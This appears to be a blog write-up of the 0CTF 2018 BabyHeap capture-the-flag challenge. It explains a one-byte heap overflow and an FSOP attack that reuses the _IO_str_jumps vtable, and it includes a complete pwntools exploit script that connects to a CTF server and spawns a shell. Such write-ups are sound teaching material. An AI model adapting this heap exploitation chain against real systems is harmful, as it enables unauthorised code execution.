0CTF 2018 PWN BabyHeap Write-up

Introduction

I take this challenge as a variation of FSOP (File Stream Oriented Programming). The glibc library given in this challenge is already patched with an extra check on the validity of the vtable of fake file stream. Though I have mentioned some bypass techniques in my previous posts, I use so-called vtable reuse attack to finally get the shell.

Vulnerability Analysis

The vulnerability in this challenge in easy to detect. There is an one-byte out-of-bound write in the update function. The value to insert is arbitrary.

Exploitation Plan

The hard point is how to exploit. Since there exists size limitation on the allocated chunk (less than 0x58), we cannot use fastbin attack to manage to overwrite __malloc_hook.
Therefore, the second idea that comes into mind is to use unsorted bin attack to launch FSOP.
However, there are two challenges here:
(1) The glibc library in this challenge is patched with a validity check as below. I cannot craft a vtable to directly hijack control flow to magic gadget.

(2) In FSOP, we overwrite _IO_list_all with the address of unsorted bin. After triggering the abort message in exploitation, we have to craft a fake _chain of current _IO_list_all, which happens to be the address of small bin for chunks of size 0x60. After hours of trial, I cannot find any feasible way to put a freed chunk at desired location.

For the first problem, I use the existing vtable in memory to hijack control flow. The fake vtable I use is _IO_str_jumps table in libc and hijack control flow to _IO_str_overflow.

For the second problem, I finally decide to use the (((struct _IO_FILE)(&unsortedBin))->_chain)->_chain to launch FSOP attack. Instead of putting a chunk address at the address of small bin for chunks of size 0x60, I have to put a freed chunk at the address of small bin for chunks of size 0xb0.

Another tiny problem encountered in this challenge is at the callsite of control flow hijacking:

The value of $rdi is calculated by $r12 * 2 + 0x64, which must be an even number. However, address of “/bin/sh” in give glibc library is an odd number. Therefore, in my final exploitation I get the shell with system(“sh”).

Above all, the final exploit works as below:
(1) Use the one-byte out-of-bound vulnerability to create overlapping chunk. Extract one chunk from the enlarged chunk and leak the base address of libc.
(2) Allocate multiple chunks and free one of them. Leak the address of heap and manage to put one freed chunk of size 0xb0 into small bin.
(3) Use update function to overwrite the bk of chunk linked in unsorted bin with &_IO_list_all – 0x10 and trigger the unsorted bin attack.
(4) Trigger abort routine and use the data prepared in (1) (2) (3) to get the shell.

Exploit

rom pwn import *

DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("202.120.7.204", 127);
    libc = ELF("./libc-2.24.so");
elif(DEBUG == 1):
    r = process("./babyheap");
    libc = ELF("./libc-2.24.so");
elif(DEBUG == 2):
    r = process("./babyheap");
    gdb.attach(r, '''source ./script.py''');
    libc = ELF("./libc-2.24.so");

def allocate(size):
    r.recvuntil("Command:");
    r.sendline("1");
    r.recvuntil("Size:");
    r.sendline(str(size));

def update(index, size, payload):
    r.recvuntil("Command:");
    r.sendline("2");
    r.recvuntil("Index:");
    r.sendline(str(index));
    r.recvuntil("Size:");
    r.sendline(str(size));
    r.recvuntil("Content:");
    r.sendline(payload);

def delete(index):
    r.recvuntil("Command:");
    r.sendline("3");
    r.recvuntil("Index:");
    r.sendline(str(index));

def view(index):
    r.recvuntil("Command:");
    r.sendline("4");
    r.recvuntil("Index:");
    r.sendline(str(index));

def exploit():
    allocate(0x58);
    update(0, 0x58, "A"*0x58);
    allocate(0x58);
    update(1, 0x58, "B"*0x58);
    allocate(0x48);
    update(2, 0x48, "C"*0x48);
    update(0, 0x59, "A"*0x58+"\xc1");

    allocate(0x58);
    update(3, 0x58, 'a'*0x8 + p64(0x51) + 'a'*0x48);
    allocate(0x58);
    update(4, 0x58, 'b'*0x58);
    allocate(0x58);
    update(5, 0x58, 'c'*0x58);
    allocate(0x58);
    update(6, 0x58, 'd'*0x48 + p64(0x71) + 'd'*0x8);
    allocate(0x58);
    update(7, 0x58, 'e'*0x58);

    delete(1);
    allocate(0x58);

    view(2);
    r.recvuntil("Chunk[2]: ");
    leak1 = r.recv(8);
    leakedValue1 = u64(leak1);
    libcBase = leakedValue1 - 0x399b58;
    log.info("libc base address: 0x%x" % libcBase);

    shAddr = libcBase + 0x1619de;

    payload = "c"*0x10 + p64(0) + p64(0x7fffffffffff) + "c"*0x8 + p64(0) + p64((shAddr-0x64)/2);
    update(5, 0x58, payload.ljust(0x58, 'c'));

    update(4, 0x59, 'b'*0x58 + "\xb1");

    delete(5);
    view(2);
    r.recvuntil("Chunk[2]: ");
    leak1 = r.recv(8);
    leak2 = r.recv(8);
    leakedValue1 = u64(leak1);
    leakedValue2 = u64(leak2);
    log.info("Leaked value 2: 0x%x" % leakedValue2);
    heapBase = leakedValue2 - 0x1d0;
    log.info("heap base address: 0x%x" % heapBase);

    allocate(0x18);

    mallocHookAddr = libc.symbols['__malloc_hook'];
    log.info("malloc hook address: 0x%x" % mallocHookAddr);

    IOListAllAddr = libc.symbols["_IO_list_all"] + libcBase;
    unsortedBinAbsAddr = libcBase + 0x68 + mallocHookAddr;
    
    IOStrJumpVtable = 0x396500 + libcBase;

    systemAddr = libc.symbols['system'] + libcBase;


    update(2, 0x48, "C"*0x18 + p64(0x41) + p64(unsortedBinAbsAddr) + p64(IOListAllAddr-0x10) + "C"*0x18);

    allocate(0x38);

    update(6, 0x58, "d"*0x30 + p64(heapBase + 0x280) + "d"*0x8 + p64(0xb0)+p64(0x70) + "d"*0x8);
    update(7, 0x58, "e"*8 + p64(IOStrJumpVtable) + p64(systemAddr) + "e"*0x40);
    update(4, 0x58, "b"*0x50 + p64(0x800));

    allocate(0x58);

    r.interactive();

exploit();

Conclusion

I used to write some tutorials and write-up about FSOP when the competition ends and others’ write-ups come out. However, playing in the field is totally different from watching outside the court. Practice makes perfect.

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.